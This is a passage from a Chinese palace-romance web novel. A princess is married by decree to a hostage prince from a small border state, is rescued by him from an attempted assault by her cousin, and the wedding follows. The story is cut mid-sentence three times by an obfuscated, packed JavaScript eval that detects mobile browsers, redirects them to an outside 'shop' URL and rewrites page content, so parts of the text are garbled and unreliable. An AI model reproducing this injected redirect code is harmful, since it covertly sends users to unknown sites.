听到皇上的赞许之言,张贵妃松了一口气,善解人意地笑道:“食君之禄,忠君之事,这都是臣妾与清阳应该做的,这么说来您是同意……” 她话还未说完,便被皇帝挥手打断:“贵妃舍得,朕却不舍得,与察泰联姻之事无需再议,贵妃先回去为清阳备嫁吧。” 张贵妃失魂落魄地走出殿门时,正碰上守在殿外的李桂,她连忙像抓住救命稻草一般:“公公,你说皇上是不是恼了本宫?” 她此时才后知后觉,皇上方才的话中好似含了几分讥讽的意味。 李桂谄媚道:“娘娘多心了,皇上一向看重您,又怎会恼了您,大抵是近来各藩国的质子入京,事务繁多,龙体疲累罢了。” 贵妃连连点头:“那便好,那便好。” 卓儿还在庆祥府操劳,她在宫中可千万不能拖了儿子的后腿。 心绪稍缓,她再次抓住李桂的衣袖,悄悄塞了颗金灿灿的豆子。 “公公,你觉得清阳的婚事可还有转圜的余地?” 尉氏的门第实在是太过低微,帮不上卓儿半分不说,就是传出去了,她这个贵妃脸上也挂不住呀。 李桂低声:“娘娘须知,君无戏言。” …… 张贵妃回到柔仪宫后,还未喝下一口热茶,赐婚的圣旨后脚便到了。 容与被拉到殿前领旨时还是噩噩浑浑的,她就要嫁人了?嫁给一个陌生的男人,一个不知姓甚名谁,不知是高是矮,是胖是瘦的男人。 可此时她好像是一个局外人,能做的只有像一个提线木偶一般跪下来,等待命运的摆布。 李桂清了清嗓子,尖细的声音在空旷的殿前响起: “奉天承运皇帝,制曰: 朕抚有四海,以和为贵,以亲为睦。兹闻察泰部尉氏,恭顺朝廷,恪遵盟约,愿通姻好,以固边疆。朕嘉其诚,特将皇二女清阳公主,赐婚于尉氏少主尉朔为妻。皇女清阳公主,性秉温恭,善体朕心。尔驸马当敬待公主,永守臣节,辑睦部众,共护边境安宁。朝廷必当厚加恩赉,岁给禄米,世享荣宠。尔二人当以社稷为重,以姻好为念,上安宗庙,下慰兆民,垂芳名于永世。 钦此!” 察泰,尉朔……圣旨很长,但其中究竟说了什么容与一概记不得了,最后脑子里空空荡荡的,也只剩下这单薄的四个字眼。 她只感觉脑袋晕晕的,她要共度一生的那个男人叫什么来着,察泰还是尉朔? 算了,管他姓察还是姓尉呢,反正成婚后就能在宫外开府了,不用在宫里日日被管束,总归也不全是坏事。 这样一想,容与阴郁的心情立刻一扫而空,她拿起一旁的绣棚打算为自己绣一方最华丽的盖头,毕竟无论新郎官是谁,这都是她褚容与的婚礼,自然要风风光光,漂漂亮亮的。 正在这时,一阵叫嚷声伴着急促的脚步声骤然闯入,惊得她浑身一抖,白嫩的指尖被锋利的银针刺出一滴鲜血。 “容容,我一听说你被赐婚的事情就赶紧跑过来了,这事你究竟是怎么想的?” 下一刻,一个提着衣裙跑得满头大汗的年轻姑娘便出现在眼前,她眉头紧蹙,几缕发丝凌乱地粘在额前。 此人便是成安长公主与广平侯之女——李瑾姝,也是容与最好的手帕交。 看到瑾姝满脸担忧,容与连忙将被刺伤的手指藏到身后,忍痛挤出一丝笑意:“瞧你这话,父母之命,媒妁之言,更何况这可是圣旨,除了老老实实嫁了还能如何?” 瑾姝好像不认识她了一般,紧紧盯着她审视了许久,摇头道:“老老实实嫁了?这可不像你清阳公主的性子。” 她眼珠转了转,腻着容与坐下,附耳悄声道:“皇舅舅可最疼你了,若你实在看那个尉朔不顺眼,在皇舅舅跟前哭一哭,说不定还有转机。” 容与连忙拍了她一下:“圣旨已下,此事再无转圜的余地,以后可莫要再说这种话了。” 瑾姝没好气地冷哼道:“好吧,我一片好心你还不领情,要不是听说那个尉少主面目狰狞、虎背熊腰、甚是骇人,我才懒得管你。” “此话当真?” 容与浑身打了个冷颤,霎那间,一个壮如铁塔、满脸横肉,眉毛倒竖如两把扫帚、肥厚的嘴唇还挂着两行涎水的男子形象便浮现在她的脑海中。 而这人也许还数月不曾洗漱,一说话便会露出两排黄黑的牙,齿缝里还塞满了不知何年的残渣,周身的恶臭隔着几步之遥都能闻得清楚。 她想过尉朔可能面目丑陋,可却没想到竟粗鲁鄙薄到如此地步,一想到她要与这样一个人同床共枕、生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956481|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿育女,她就……咦,恶心得几欲作呕。 不行,她不能嫁给这样的人。 见她脸色渐渐煞白下去,李瑾姝没好气地点头:“自然,外面可都是这样传的,我还能骗你不成。” “好瑾姝,你快帮我想个法子,和这样的人过一辈子,还不如杀了我!” 瑾姝敛眉思索片刻,忽然眼中一亮:“不如你找个借口先见上那尉朔一面,若是他真的如传闻中那般不堪,咱们便使计让他在宫中出丑,也好借机拒了这桩婚事。” 容与犹豫片刻,还是重重点头:“也好。” 她唤来守在门外的嘉穗:“你想法子传信给尉朔,就说本宫要见他,让他在宫后苑前的灌木旁恭候。” * 此时会同馆的一间客房中,辉山正捧着手中的明黄圣旨笑成了一朵花:“主子,你要有媳妇啦。” 尉朔面无表情地斜睨他一眼,语气一如既往的冷淡,听不出什么情绪:“怎么,你很高兴?” “那当然了,娶媳妇呀,这可不是大喜事儿吗,”他说着突然猛地一拍脑袋,“对了,小的得赶紧给家主去信,把这喜事告诉他。” 看着辉山开心得团团乱转,尉朔冷哼一声:“你可听清了圣上赐婚的是哪位公主?” “清阳公主呀。”辉山眉飞色舞。 可片刻后,他自己先意识到不对了:“啊,怎么是清阳公主?” 这位公主的恶名可是连他们察泰都略有耳闻,虽然不知究竟是为何缘故,可总归不会是空穴来风。 也是呀,他们察泰只是个不起眼的小国而已,这次送质子进京的藩属国可不在少数,这尚公主的好事怎么偏偏落在他家少主头上了。 辉山越想越觉得蹊跷,他再也坐不住了,一溜烟跑出门去,非要打听到这位清阳公主的底细不成。 再次回来时,辉山没了方才的喜气,取而代之的是满脸的不平:“主子,你不知道,那个清阳公主简直就是个女恶魔……” 他气都未来得及喘匀,便将清阳公主是如何鞭打流民的事情一口气说了出来。 尉朔脸色愈发阴沉,他想过这位公主骄纵跋扈,可却未想到竟荒唐到如此地步,这样视人命如草芥之人,就算是晟国的金枝玉叶又如何,他尉朔打心底了瞧不起。 “主子,这可怎么办呀,难道真要给这女恶魔当驸马?” 见尉朔不应,辉山心想主子心里肯定比自己更难受,只是一贯要强,强撑着不说。 他连忙转了话锋安慰起来:“不过事已至此,主子您还是往好处想想吧,等成婚之后你就不用住这个破烂屋子了,听说那公主府又宽敞又舒服,吃得也是顶好的……” 听他这话,尉朔的脸又黑了几分,这小子是巴不得他早点去吃软饭呢。 可无论那位清阳公主好与不好,他此时都没有成婚的打算。 毕竟此次来京,除了为质之外,他还有更重要的事情,那便是近年来察泰屡遇荒年,民不聊生,而大晟一向擅长农耕,他来次的一个重要目的便是学些耕种技艺带回去,帮助察泰早日自给自足。 还未等尉朔回答,门外突然响起一阵叩门声。 紧接着是一个尖细的太监声音:“尉少主,传清阳公主口谕,明日请您进宫一叙。” 尉朔挑眉,这位公主竟要见他? 下一刻他微微勾唇,他正愁没法子拒了这桩婚事呢,这样一来正合他意。 5. 救美 “主子,咱们不是要去见清阳公主吗,时辰都已经过了,你怎么还在这不紧不慢的?” 辉山仰头看着悠闲躺在树杈上的人,急得直跺脚,他们都已经进宫来了,可主子偏偏不去约定的地点,而是找了棵角落里的大树就躺上去不动了。 昨日那太监明明说未时三刻的,可如今都过了一个时辰了,自家主子还是没有一点下来的意思。 尉朔不急不慌地吐出嘴里叼着的草根:“连你都急了,你猜那位清阳公主此时是何心情?” “自然是气得火冒三丈。” 尉朔点头:“那你觉得像清阳公主那样飞扬跋扈之人,生气了将会如何?” “自然是大发雷霆,闹着要退亲呗。” 辉山恍然大悟:“哦,小的明白了,原来主子打的是这个主意。” 让那位公主主动退亲,自家主子既不必违抗晟国皇帝的旨意,给察泰引来灾祸,也不必屈身侍奉一尊喜怒无常的大佛。 想通之后,辉山也不再着急,他学着自家主子的样子就地躺下。 这皇宫的草可真嫩真软,和他们察泰又高又锋利的野草十分不同,可惜主子当不成驸马了,以后这样好的草恐怕也见不到了,可得趁着今日的机会好好滚上几圈。 至于那个草包公主,想到她气急败坏,还被主子当枪使的样子,辉山就忍不住笑出了声。 * 正值初春之际,空气中的寒凉还未彻底褪去,容与急着出来劝退那位令人想想就生厌的驸马,随意披了件单薄的披风,此时站在阴冷的树丛中冻得微微发抖。 她愈发不耐烦:“那个叫尉什么的怎么还没到?” 明明告诉他未时三刻见,可现在已经过去接近半个时辰了,那人连个人影都不见不说,连一句告罪的口信都没有。 “公主莫急,大概是会同馆与皇宫太远,赶过来总要慢一些。” 容与早就不耐烦了:“嘉穗,你再找人去催催。” 嘉穗有些为难:“公主,你们二人毕竟还未成婚,您私自召见外男已经是皇后娘娘开恩了,不好闹得人尽皆知。” 容与愤愤不平地跺了跺脚,可也许是站得时间太久了,她腿上突然一麻,紧接着整个人便无力地向旁边栽去。 “小心!” 就在这时,一个男子温润的声音在耳边响起,与此同时,她倾倒的身子被一双温热的臂膀稳稳拖住。 容与堪堪站稳,舒了口气后正想转身向扶住自己之人道谢,可刚转过去,便僵硬地愣在原地。 “怎么是你?” 对面的男子温和笑道:“表妹真会说笑,这几日我一直在此处监看花木之事,今天来了之后便总觉得左眼一直无故乱跳,原来是因为能碰到表妹。” 容与挑眉:“世人皆说左眼跳财,本宫又不是金子。” “在我眼中,无论是何种奇珍异宝都比不上表妹半分贵重。”张承裕的眼睛痴痴地凝望着容与,就连旁观的嘉穗都几乎要被这情真意切的一幕动容。 下一刻,他突然话锋一转,脸上满是惋惜:“可惜了,皇上竟将你许给那个乡野出身的尉少主,那等粗蛮之人又怎会懂得欣赏表妹的才貌?” 容与本就因着这桩婚事心情郁郁,听他这么一说更是烦闷,和那糙蛮质子比起来,此刻就连她一向看不惯的张承裕都显得顺眼不少。 察觉到容与对他的态度前所未有的温和起来,张承裕心中窃喜。 他连忙上前一步,趁容与不备,死死握住她的双手:“表妹,我爱慕你已久,实在无法眼睁睁看着你往火坑里跳,不如你趁着今日跟了我,只要生米煮成熟饭,皇上自然不能再逼你嫁给尉朔。” 变故来得太过突然,容与还沉浸在尉朔失约的愤懑之中,并未察觉到张承裕的不轨之心,当她猛然惊醒时,连忙猛地推开。 “放肆,你可知轻薄公主该当何罪!” 张承裕满不在乎地跨步上前,一把拽住容与挣扎的双手,将她禁锢在自己怀中。 “表妹,我是真心爱慕于你,再说你我乃是表亲,亲上加亲的良缘岂是那小国的落魄质子可比的?” 纵然他只是个手无缚鸡之力的文人,但男女之间的力量差异终究还是太大了,即使容与使尽全身的力气也无法挣脱分毫。 “嘉穗……呜!”还未叫出声,容与的嘴巴便被张承裕牢牢捂住,浑身上下只有一双含泪的眸子尚能动弹。 她用余光奋力向嘉穗的方向瞟去,可下一刻便只剩绝望,嘉穗不知何时已经被打晕在地。 张承裕伏在容与颈侧,深深吸了一口她身上特有的幽香:“表妹明知我在宫后苑中督工,还故意在此处徘徊良久,不就是想勾引我吗,如今还装什么贞洁烈妇?” “呜……我没有……你……放开。” 可无论她如何挣扎,身前之人都纹丝不动,容与渐渐感到浑身都开始力竭,鼻子酸涩难忍,眼泪如断了线般本能地奔涌而出。 “表妹,我会好好疼你的,肯定比那个莽夫强上千倍万倍……” 突然,一片绝望中,容与身上一轻,那令人作呕的气息骤然消失。 “啊!啊……”紧接着是一声接着一声的惨厉嚎叫。 容与抬头,只见眼前是一个高大壮硕的背影,那人正将张承裕牢牢摁在地上。 和此人相比,张承裕简直像个未长成的瘦弱羔羊,只能任人宰割,毫无还手之力。 不知为何,看着眼前这个令人胆颤的健硕身影,容与不仅未感到害怕,反而有种久违的心安。 男子高大的身躯将阳光结结实实地挡住,容与逆着光,看不清他的样貌,只能看到他身高腿长、宽肩窄腰的身形。 还有一身似曾相识的奇怪装束,将长袍一角高高束进裤腰的穿法……难道是他? 这个念头升起的一刹那,容与的心再次“砰砰”地跳得飞快。 而就在这片刻之间,男子已经用腰带将张承裕绑了个结实,毫不留情地将人踹翻在地后,他才转过身来看向容与。 “见过明懿公主,公主安否?” 真的是他!惊讶之间,容与一时竟未注意到,这人又将她误认成了明懿公主。 短短几日,这已经是他们第三次相见了,第一次他害她摔得浑身淤青,第二次她将他狠狠打了十大板。 而这第三次,他好像也没有这么令人讨厌了。 跟在尉朔身后的辉山也是一惊,他踮起脚凑到尉朔耳边:“主子,原来这就是明懿公主呀,上次咱们在普渡寺撞到的就是她!” 那次微风吹起面纱之时,辉山恰巧窥见美人的真面目,一见便再也无法忘记了。 尉朔也是一怔,原来那位娇气的小娘子就是她! “今日多谢相救。”容与福身,对他端端正正行了一礼。 尉朔侧身避开:“顺手为之而已,公主言重了。” 他转身要走,却听到背后一个柔柔的声音再次将他叫住。 “等等!” 尉朔回头,看到女子满脸通红难以启齿的样子,他心中了然。 “公主不必担忧,小的今日什么都未曾看到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956482|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 天朝女子将名声看得极重,他晓得。 “多谢。” 尉朔颔首。 容与心里暗暗轻笑,这汉子看起来不拘小节,不曾想竟长了一颗如此通透聪敏的心。 看尉朔又要走,她连忙开口问道:“若是没记错,你叫李满仓吧?” 尉朔一愣,半晌才从牙缝中挤出两字:“正……是。” 他并非有意欺瞒,只是一来他今日故意放了清阳公主的鸽子,若让“尉朔”就在宫中而不去赴约的消息传入清阳耳中,未免有故意挑衅之嫌。 二来“尉朔”已被赐给清阳公主做驸马,名义上算来还是眼前这位明懿公主未来的妹夫,还是避嫌为妙。 他的目光不经意地落在对面的女子身上,这一看,竟一时难以挪开眼去。 她此刻不似前两次相见时的精致整洁,而是有些狼狈。一张白皙的巴掌脸好似一碰就碎,泪水粘连之下,就连小小的鼻头上也泛着醉人的酡红,几缕墨发散落下来,更衬得整个人楚楚可怜。 尉朔不由心头一动,不假思索地直接从腰间抽出一方帕子。 “公主擦擦吧。” 她这副满脸泪痕的模样,恐怕再铁石心肠的人看到也难以不生出几分怜香惜玉的心思。 容与看着那只大手递来的帕子蓦然一愣。 这帕子灰扑扑的,看着便不大洁净,可这人刚刚才救了自己,此时也是好心递帕,若不接过来岂不是落了他的面子。 一时之间,容与竟有些进退两难。 看这女子白皙的脸颊陡然泛起绯红,尉朔也突然反应过来她的为难,也是,连脚都养得那般白嫩之人,又怎么看得上他这方灰不溜秋的帕子。 尉朔有些难为情地悻悻收回手去。生平第一次,他竟为自己没有将帕子好好洗净再带出门而感到后悔。 容与尴尬地笑了笑,目送他行了个不伦不类的礼后缓步而去。 一直到回到寝宫,容与怦怦乱跳的心还难以平复下来。 看着容与兀自出神的样子,一旁为她捏腿的丰禾忍不住打趣道:“呦,去了这么久,想来是与咱们那位驸马爷相谈甚欢呀。” 旁边的嘉穗连忙向她使了个眼色:“你又皮疼了,别仗着公主疼你就嘴上没个把门的。” 接着,她附耳悄声说了方才发生的事情。 那位驸马爷她们倒是没见到,只见到了张承裕这个不速之客和英雄救美的李满仓。 丰禾一怔,脱口而出:“公主不会是看上那个李满仓了吧?” 她虽未跟着去,可那个“李满仓”她在普度寺中也曾见过的,虽举止粗鲁,但相貌却算得上是少见的俊朗。 她家公主一向看不上张承裕那样的文弱小白脸,说不准就喜欢李满仓这样的呢。 容与连忙轻斥:“你胡说些什么!” 丰禾不以为意:“其实奴婢看他年岁也不大,说不定还未娶亲,若是公主喜欢,不如等成亲开府之后将他接去做个面首?” 她若是不说,容与都要将尉朔失约的事抛到脑后了,这么一说就越想越气。 若不是尉朔,她又怎么会去宫后苑,又怎么会碰上张承裕? 她陡然站起身:“还开什么府,本宫今日定要求父皇将这婚事退了。” 还未成亲呢就敢堂而皇之地不将她的诏令放在眼中,若真成了亲,岂不是要爬到她这个公主的头上去了? “公主三思……” 容与打断她快步向乾宁宫走去。 “这门婚事,本宫是退定了!” 6. 退婚 容与匆匆跑到乾宁宫外时,皇帝正在殿内与大臣们议事。 即使再着急,她也不得不耐着性子立在门外等候。 还好,并未等太久,殿门就从里面打开了,走在最前面的是当朝太子,皇后的嫡出亲子、明懿一母同胞的兄长——褚炆宗。 “清阳见过太子哥哥。”容与微微屈膝,目光却全都落在他身后的那道门上。 褚炆宗微微颔首,面上带笑:“让为兄猜猜,清阳妹妹今日前来可是为了与尉少主的婚事?” “真是什么事情都瞒不过太子哥哥,确是为了婚事,清阳不愿嫁给那个莽夫,特来求父皇应允。” 太子笑着点头:“那尉少主出身边陲小国,与二妹你确实不甚相配。” 他顿了顿,紧接着话锋骤转:“但你可曾想过冲动退亲的后果?” 听他此问,容与茫然地立在原地。 她确实是头脑一热,可退亲又能有什么严重的后果呢?退成了皆大欢喜,退不成顶多被父皇呵斥一顿,至于名声,反正她的名声也不能更差了。 看她不以为意,褚炆宗无奈摇头:“看来二妹是真的不曾想过,如今可不止察泰的质子在京,北乌的质子可是也在呢。” 在容与疑惑的目光下,他娓娓道来:“这次与北乌的战事我们晟军赢了不假,可北乌仍是个心腹大患,嫁个公主便能解决的事,又何须大动干戈呢?” 容与浑身一颤:“兄长的意思是,若不嫁尉朔,便要嫁北乌?” 虽然同为异族,可察泰与北乌大有不同。 数十年来,北乌在大晟北境烧杀抢掠,无恶不作,上至耄耋老人,下至垂髫稚童,无人不知北乌人凶残至极,泯灭人性。与之相比,察泰人属实是温良许多,至少他们从不曾作恶。 同时,北乌的势力也比察泰强上太多,他们并非真正臣服于大晟,随时都有反扑的可能。 若真的嫁给那位北乌质子,待得随他返回北乌之日,便是容与羊入虎口之时。 看到容与的嚣张气焰瞬间熄灭殆尽,褚炆宗的目光扫过近在咫尺的殿门:“孤言尽于此,究竟要不要进这道门,清阳妹妹还是再自己考虑下吧。” 目送他如青竹般温雅的身影渐渐远去,容与一时拿不定主意,事已至此,难道她必须在二者之间选一个吗,就没有第三条路可以走吗? 正在她犹疑不定时,李桂上前道:“清阳殿下,皇上忙完了,唤您进去呢。” 容与闻声一惊,事到如今,她此时离开显然已经来不及了。 也许这就是天意吧,老天给了她一根上上签,如今又给了她机会向父皇说出心中所想,也许她本就不该嫁给尉朔。 说不准太子哥哥只是吓唬她而已,即使退了亲也不一定会到那一步吧。 她深吸一口气稳了稳心神,还是缓缓踏进了这座略显压抑的乾宁宫。 * 尉朔二人刚走出宫去,辉山就再也忍不住问出口:“主子,刚才你救下的原来就是明懿公主吗?她可真好看,人也柔柔弱弱的,上次你冒充花匠也是她解的围吧。” “正是,明懿公主温婉和善、宽以待人,看来传言不虚。” 听他这样说,辉山却肉眼可见地低落下去:“哎,真是可惜,不知这位公主可曾嫁人了,若是她能与清阳公主换换……” 尉朔的脸色一红,厉声呵斥道:“胡说什么,背后议论女子,你可真是长能耐了。” 说着,他的眼底滑过一丝辉山不曾捕捉到的卑微,这是尉朔从不曾显露过的。 他声音里有些不为人知的低落:“再说了,我算是个什么东西,也配在晟国的金枝玉叶里挑挑拣拣?” 辉山不乐意了:“诶,主子,你骂我可以,但不能骂自己呀。” 在他眼中,他们少主可是察泰最出色的儿郎,弓马、骑射、力气、相貌……无人可以与之相提并论,就连这大晟国那些有名的青年才俊、翩翩公子,在他眼里也不过尔尔,还不如主子半分好。 不说这个,就说招姑娘们的喜欢吧,别看他家主子总是冷着一张脸,少言寡语的,但也没耽误他们察泰的姑娘们一群接着一群的总是躲着偷看,更有胆子大的当众送花,虽说都被主子无情拒绝了,可这也足以看出他家主子一点都不输任何人呀,怎么来了晟国一切都变了? 这样看来这晟国真不是什么好地方,没眼光的晟国女子,不要也罢。 这样想着,辉山终于高兴了一些,转而叹惋:“那明懿公主都有驸马了还遇到这糟心事,看来她的驸马也是个草包,连自己的妻子都保护不好。” 不知为何,尉朔又想到了那张布满泪痕的白皙脸蛋,是呀,若是他,一定会将自己的女人护得周全。 可惜他肩上还背负着无数族人的希冀,这辈子怕是没这福分了。 * 而他心中所想之人此刻正局促不安地立在乾宁宫里。 上首传来威严的声音:“你不在自己宫里好好备嫁,跑来找朕作甚?” 容与咬着发白的嘴唇低下头去:“儿臣……” 只要将退婚的愿望说出来,说不定父皇会答应呢,那样她就不用嫁给那个粗蛮丑陋还不将她放在眼里的莽夫了。 容与顿了顿,顶着头顶凌厉的目光,鼓足勇气:“儿臣……儿臣想着婚期将至,等成婚后就要搬去宫外居住,恐怕无法常常在父皇膝下尽孝,因此今日特来给父皇请安。” 话语出口的一瞬,她还是改了主意。 她心中十分清楚,太子哥哥的话并非恐吓于她,若是失了尉朔这个机会,等着她的恐怕就是葬身北乌了,对尉朔她充其量只是厌恶,可小小的喜恶哪里有性命重要呢? 她讨厌尉朔,大不了与他分房而居就是,就算养几个可心的俊俏面首,一个小小的察泰质子罢了,又敢有何异议呢? 空气好像微微停滞了片刻,接着便听到上首明显龙颜大悦的声音:“好孩子,你有这份孝心实属难得,朕还当你是不满意这桩婚事呢。” “父皇的一片苦心儿臣都晓得,怎敢辜负?” “不错,清阳你记住,就算察泰势力低微,但它地处我大晟与北乌之间,对父皇而言并非可有可无,你切莫一时任性,寒了察泰的心,也寒了朕的心。” 容与乖顺福身:“是,儿臣谨记父皇教诲,定会礼待尉少主。” 上座之人大手一挥,豪迈大笑:“欸,什么尉少主,往后该改口唤作驸马了。” 容与回到柔仪宫时,身后还多了几列太监,他们每个人手上都抬着沉重的箱笼。 张贵妃疑惑:“这是?” “是父皇给儿臣添的妆,从父皇的私库中拨的。” 其中桩桩件件皆是不可多得的奇珍异宝,若是放在往日,张贵妃定要为这份荣宠骄傲许久,可此时她却无心于赏赐,只骤然沉下脸来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尉朔于是装作满不在乎的样子,扯唇笑起来:“马上就能去公主府吃香喝辣了,开心点。” “主子,你又打趣小的。”虽然嘴上埋怨,可他真心为自家主子委屈。 还有那个清阳公主也真是,虐杀流民时如此嚣张,到了皇帝面前却像只缩头乌龟,连句退婚都不敢提起半句。 这样一个人连给他家主子提鞋都不配,又怎配站在他家主子身侧? 随迎亲队伍出发前,辉山最后看了看身后的会同馆,这是他们主仆二人住了一个月的地方,既熟悉又陌生,而那座不知会住多久的公主府又是什么样子的呢? “辉山,走了。”看他没跟上来,尉朔挥手唤道。 “主子,真的没什么要带的吗?” 从这走了以后,他们可就真的不会再回来了。 尉朔摇头:“不必了,本也没什么自己的东西。” 对于这会同馆来说,他们终究只是匆匆而过的客,对于晟国的每一寸土地来说亦是如此。 而此刻他要走向哪里?也许是一个全然陌生的新娘,也许是一座同样不属于他的府邸,亦或是一段他完全把控不住的命运。 尉朔轻轻挥了挥马鞭,马儿会意迈开蹄子,没入一条长得几乎没有尽头的通红队伍,向着整座京城中最红艳艳的一处缓缓行进。 7. 成亲 柔仪宫中张灯结彩,入眼处皆被喜庆的红色浸透。 容与天还未亮便被嬷嬷从床上揪了起来,此时正晃晃悠悠坐在梳妆台前。 今日的喜事,除了已经出嫁的明懿公主和宜和公主回宫为姐妹送嫁,就连宗室的贵女贵妇们也几乎到了个全,只是她们此刻都三三两两围在明懿公主身边争相凑趣,反倒衬得容与这个新娘子身边冷冷清清,就只有瑾姝一人陪着。 正厅里传来说笑逢迎的声音:“明懿殿下,我们可都听说了,清阳殿下的这位驸马就是个落魄小国的质子,出身蛮夷,粗鲁不看,给您家驸马提鞋都不配。” 一阵嘈杂的嘲笑声过后,明懿端庄温婉的声音才轻飘飘传来:“如此口无遮拦,成何体统。” “殿下恕罪,我等只是说笑罢了,殿下一向宽和,又不是清阳那样跋扈的,定不会与我们一般见识。”她们嘴上虽是认错,语气却是嘻嘻哈哈,没有一点愧疚。 见明懿并无责罚的意思,她们继续道:“不过听闻那新驸马莽撞得很,也不知清阳那小身板受不受得了。” “别忘了,清阳公主可是出了名的荒唐不羁,说不定受用着呢。”一个已成婚的妇人嘲弄道。 “哈哈哈……”顷刻间,周围皆是嘲讽的笑声。 这声音无一例外落入里屋之人的耳朵里,丰禾气不过:“装什么装,说得好像她们在家都不和男人一起睡觉一样。” “行了。”容与轻声制止。 她现在只想拥有一座自己的公主府,能够不受母妃管束,随时去郊外的别院看看她的小苗们,不想提起什么驸马,更不想和那个尉朔睡在一张床上。 吉时将至,身后的喜婆对门外的兰嬷嬷道:“嬷嬷,时辰差不多了,劳烦您将贵妃娘娘请来给殿下盖上盖头。” 依婚俗,应由新娘的母亲亲手为女儿盖上盖头,寓意着美满和乐、琴瑟和鸣,是母亲对女儿最真挚的祝福。 兰嬷嬷犹豫一瞬:“娘娘说了,宫中婚嫁不必依民间习俗,娘娘这几日为婚礼操劳太过,身子不爽利,便不过来了。” 喜婆有些着急:“那可怎么办,吉时就要到了,要不请皇后娘娘来?” 皇后乃众皇子皇女的嫡母,由她来盖这盖头也是合适的。 “那可不行!”兰嬷嬷不假思索,这宫中谁人不知贵妃与皇后一向不睦,怎么能让皇后来抢了这个风头。 贵妃不愿来,皇后不能来,这下可如何是好? “不必吵了,我自己来。”容与抬手,将喜婆手中鲜红的盖头接了过去,毫无留恋地盖在华丽的翡翠喜冠上。 眼前熟悉的一切都被一方小小的盖头隔断,余下的只有无尽的红。 盖上这方盖头,踏出这座宫门,她便与这座宫殿彻底切断了,至于这宫殿主人的祝福,可有可无而已。 吉时到了,她也该出门了。 她侧首对身后的兰嬷嬷吩咐:“嬷嬷,替我向母妃传句话,就说女儿叩谢她的生养之恩,从今往后,望她自己珍重。” “殿下,时辰到了,该走了。”喜婆催促道。 “走吧。” * 锣鼓声渐远,偌大的皇宫也渐渐从方才的喧嚣中抽离出来。 当一切归于平静,皇后的凤栖宫却比方才更热闹许多。 正首上一个中年妇人正身而坐,她虽没有张贵妃那般华丽娇媚,其端庄气度却也非张贵妃等后宫佳丽可比。 看到太子夫妇与明懿公主等人先后而入,皇后脸上多了些笑意。 “清阳的花轿已经送出宫了?” 太子躬身答道:“回禀母后,清阳妹妹花轿已经出宫了。” 一旁的明懿公主没好气道:“一口一个清阳妹妹叫着,看来哥哥与她倒是亲近,连我这个亲妹妹也比不过了。” 太子宠溺笑着:“你又使小性儿了,你我才是一母同胞的亲兄妹,旁的只不过是个面子情罢了,你又不是不知父皇最喜兄弟姊妹和睦友爱,我今日若不去送她出嫁,保不齐惹父皇不快。” “我说的不是这个,那日清阳明明都要去求父皇退婚了,你任她去不就好了,为何偏偏拦着。” 清阳那个蠢货,她可等着看她哭哭啼啼嫁去北乌的好戏呢。 此话一出,皇后也有些嗔怪地看向褚炆宗。 后者见状无奈摇头:“你们还是未看明白,如果清阳真的嫁去了北乌,那父皇出于安抚贵妃的心思,定会重用褚炆卓。” “再说,北乌势大,若是他们与褚炆卓联手……” 此话一出,在场之人皆恍然大悟。 皇后自豪称赞:“不愧是吾儿,甚有远虑。” 明懿公主仍有些不甘,她重重放下手中的茶盏,发出“砰”的一声脆响:“还是便宜褚容与那个小蹄子了。” “妹妹莫急,你才是我大晟最尊贵的金枝玉叶,只要是你想要的,哥哥都会帮你,来日方长,不必急于一时。” 明懿得意扬头:“还是哥哥疼我。 * 与凤栖宫的温情脉脉不同,柔仪宫此时宾客散尽,殿中只余一片冷清。 兰嬷嬷小声劝着:“主子,您对公主是否太过严厉了些,今日毕竟是她的大喜之日,您没有露面,恐怕会伤了她的心呀。” 贵妃冷哼一声:“伤心?那正如本宫所愿,今日的伤心便是对她擅作主张的惩罚。” 若不是清阳突然变卦,没有向皇上提出退婚,也不会害她苦心谋划白白落空。 兰嬷嬷苦口婆心:“主子,清阳殿下毕竟也是您身上掉下的血肉,就算您一心为了荣王殿下,也不好太过苛责公主吧。” “苛责?本宫经受十月怀胎之苦,等来的却只是个没用的女儿身,她已经够对不住本宫了。再说本宫将它自小养大,自问也从未亏待过吧,她不能成为本宫与卓儿的助力也就罢了,偏偏还要处处拖我们母子的后腿。 说着,她嫌恶皱眉:“本宫也不求她能像皇后的明懿那样讨人喜欢,可如今满京城谁提起她不是满心嫌恶?” 她将杯中残存的冷茶随手往窗外一泼:“都是她自己没用,又怪得了谁?而卓儿身为男子,又素来得皇上器重,那才是本宫唯一的依靠。” “好了,快替本宫梳妆吧,今日清阳出嫁,皇上体谅本宫母女分离之痛,今夜定会来柔仪宫探望。” 她凝视着镜中依然白皙紧致的脸庞,满意勾唇:“记得妆容要淡雅些,皇上一向不喜太过张扬的。” * 大红色的喜轿摇摇晃晃走了半个时辰,直到容与连打了几个瞌睡后,才在锣鼓声中缓缓抵达。< 